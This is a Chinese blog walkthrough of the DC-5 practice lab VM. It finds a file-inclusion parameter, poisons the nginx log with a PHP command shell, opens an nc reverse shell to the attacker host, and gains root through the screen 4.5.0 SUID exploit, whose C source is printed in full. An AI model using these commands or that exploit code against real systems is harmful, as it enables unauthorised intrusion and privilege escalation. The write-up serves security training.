DC-5

先扫一下ip

发现IP是143

扫一下端口

发现有三个端口开发

去80看看

发现几个输入框

提交看看

提交两次后发现底部的页脚老是变动

在现代网页设计和开发中,页眉(Header)和页脚(Footer)通常会被设计成独立文件,然后通过包含(include)的方式在多个页面中复用

这样设计优点:

提高代码复用性:只需编写一次页眉和页脚,多个页面共享,不用重复代码。

便于维护:修改页眉或页脚时,只需修改对应的单独文件,所有页面会自动更新。减少错误:复用代码可避免多页面维护时因手动修改产生的不一致或错误。

扫描一下目录

可以发现页脚的php文件

再次验证了每次刷新都会改变并且用了文件包含

我们可以使用wfuzz来爆一下这个文件包含的参数

Wfuzz 自带字典位于 /usr/share/wfuzz/wordlist/,常用字典包括 common.txt、big.txt、http_methods.txt 等 ‌

基本语法:

wfuzz [选项] <目标URL(含FUZZ)>

-w 或 -z file,字典文件:指定字典文件。

FUZZ:占位符,表示将被字典内容替换的位置。

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.59.143/thankyou.php?FUZZ=/etc/passwd

可以看到file的数据明显跟其他不一样说明参数就是file

验证一下

验证成功果然是file

我们可以使用日志包含反弹shell来操控系统

whatweb -v 192.168.59.143

发现是nginx

nginx一般系统日志通常在/var/log/nginx/目录下

我们先用bp抓包写入一句话木马

使用system来执行待会传的nc系统命令,使用get来从url里面获取

放包

验证一下

?file=/var/log/nginx/error.log&a=id

发现可以获取id信息

我们使用nc来进行反弹shell

先在kali开启监听

?file=/var/log/nginx/error.log&a=nc 192.168.59.135 4444 -e /bin/bash

发现成功连接

召唤bash

python -c "import pty;pty.spawn('/bin/bash')"

查看一下当前目录

去家目录里面看一下

发现只有一个用户查看一下

空空如也

我们尝试find找一下有没有带有s权限的命令

尝试提权

find / -perm -u=s -type f 2>/dev/null

发现有一个4.5.0这个有点意思

查一下

searchsploit screen 4.5.0

我们使用第一个脚本

查看信息并复制到当前目录

searchsploit -m linux/local/41154.sh

我们将脚本转移到目标靶机里面

先在kali上面开启一个http服务

python3 -m http.server 8888

回到反弹shell里

使用wget下载下来

wget http://192.168.59.135:8888/41154.sh

先到tmp临时目录下

然后再执行命令

查看一下文件

发现没有执行权限

好成功赋予执行权限

执行一下

欸发现报错了

翻译

~ gnu/screenroot ~
【屏幕漏洞提权工具】

[+] First, we create our shell and library...
【+ 第一步:创建提权用的命令行和库文件...】

gcc: error trying to exec 'cc1': execvp: No such file or directory
【gcc 编译器错误:尝试执行 cc1 编译程序失败,未找到该文件或目录】
gcc: error trying to exec 'cc1': execvp: No such file or directory
【gcc 编译器错误:尝试执行 cc1 编译程序失败,未找到该文件或目录】

[+] Now we create our /etc/ld.so.preload file...
【+ 第二步:创建系统预加载配置文件...】

[+] Triggering...
【+ 触发提权...】

ERROR: ld.so: object '/tmp/libhax.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
【错误:无法预加载库文件 /tmp/libhax.so(文件不存在),已忽略】

No Sockets found in /tmp/screens/S-www-data.
【未找到提权所需的套接字文件】

./41154.sh: line 42: /tmp/rootshell: No such file or directory
【脚本第42行错误:未找到提权程序 rootshell(文件不存在)】

靶机没有gcc编译器

我们找个有gcc编译器的虚拟机编译一下

这里我用kali去先编译一下

先cat查看一下文件内容

cat << EOF > libhax.c     
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}  
EOF
cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

把这俩块c代码挑出来

按照脚本里面的操作编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

发现报错了

可能是gcc版本太高了换成centos试试

成功编译

将文件传给靶机

使用wget获取文件

wget http://172.16.103.121:9999/libhax.so
wget http://172.16.103.121:9999/rootshell

再次执行./41154.sh

成功获得root

posted @ 2026-04-16 22:16  沐川儿  阅读(6)  评论(0)    收藏  举报